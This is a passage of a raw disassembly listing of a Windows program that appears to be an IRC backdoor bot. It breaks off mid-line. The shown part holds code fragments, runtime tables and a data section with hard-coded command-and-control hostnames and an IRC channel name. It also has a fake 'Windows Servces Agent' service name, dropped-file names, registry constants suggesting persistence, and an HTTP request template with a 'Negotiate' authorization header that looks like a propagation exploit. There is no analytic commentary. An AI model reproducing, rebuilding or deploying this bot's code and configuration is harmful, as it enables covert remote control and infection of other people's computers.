ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25C0000h, 25D0000h, 25E0000h, 25E066Dh, 25F0000h, 25F0B2Eh dd 2600000h, 26004B5h, 260051Fh, 2610000h, 261087Ah, 2620000h dd 2620248h, 2620ABBh, 2620D30h dword_42703C dd 2620D5Bh ; DATA XREF: ___:004231D9r dd 2630000h, 263023Ah, 263029Eh, 2630376h, 2640000h, 2650000h dd 26510D5h, 26513FEh, 26518A0h, 77E75CB5h dword_427068 dd 26518CEh ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2651BF2h, 2660000h, 2660AFDh dword_427078 dd 2670000h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 2670096h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 2670219h dword_427084 dd 26702CAh ; DATA XREF: sub_4196BC+B9r dd 2670931h dword_42708C dd 26709C5h ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 2670A2Eh ; DATA XREF: ___:loc_4013DCr dd 2670DCEh, 2670EEBh dword_42709C dd 2680000h ; DATA XREF: sub_409B12+2r dd 26801A2h, 2680249h dword_4270A8 dd 26808EFh ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 2680979h ; DATA XREF: sub_410CD5:loc_410DC1r dd 2690000h, 2690BC7h dword_4270B8 dd 2690C99h ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26A0000h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26B0000h, 26C0000h, 26C0578h, 26D0000h, 77F7E300h, 77F7E21Fh dd 26D05DFh, 26D072Ah, 26E0000h, 26E0870h dword_4270E8 dd 26F0000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 26F0953h ; DATA XREF: sub_418293+36r dd 26F0B51h, 2700000h dword_4270F8 dd 2700603h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2710000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 27115FBh, 2720000h, 2720C5Fh, 2730000h, 2730803h, 2740000h dd 2750000h, 2760000h, 2770000h, 2770361h, 2770456h, 2770578h dd 2780000h, 2780353h, 2780739h dword_42713C dd 278099Fh ; DATA XREF: sub_416F1A+BCr dd 2790000h dword_427144 dd 27A0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27A0BC3h ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27A0C32h dword_427150 dd 27B0000h ; DATA XREF: sub_417275+56r dd 27B0265h, 27C0000h, 27D0000h, 27D060Dh, 27D0BB2h, 27E0000h dd 27E0174h, 27E0737h, 27F0000h, 2800000h dword_42717C dd 2801040h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2810000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 2820000h, 2820457h, 2820871h, 2820C59h, 2830000h, 2840000h dd 2842025h, 2850000h, 2860000h, 2870000h, 2871D44h, 2871D95h dd 2880000h, 2890000h, 2890134h dword_4271C0 dd 28905E4h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 2890740h ; DATA XREF: sub_41E976:loc_41E9A7r dd 28908B7h, 28A0000h, 28A076Ch, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C514o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D084o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D084h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D09C dd offset dword_427E18+4 off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0BC dd offset unk_427E68 off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D0DC dd offset dword_427EB0+4 off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D100 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D084 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D084 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D09C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0BC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D0DC align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(31208D93h), 5 dup(3D6BBAA8h), 5 dup(19788FBEh) dd 7Ah dup(0) dd 19788FBEh, 0 dd 31208D93h, 15h dup(0) dd 3D6BBAA8h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 72657373h, 652E6376h, 6578h dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServces db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db 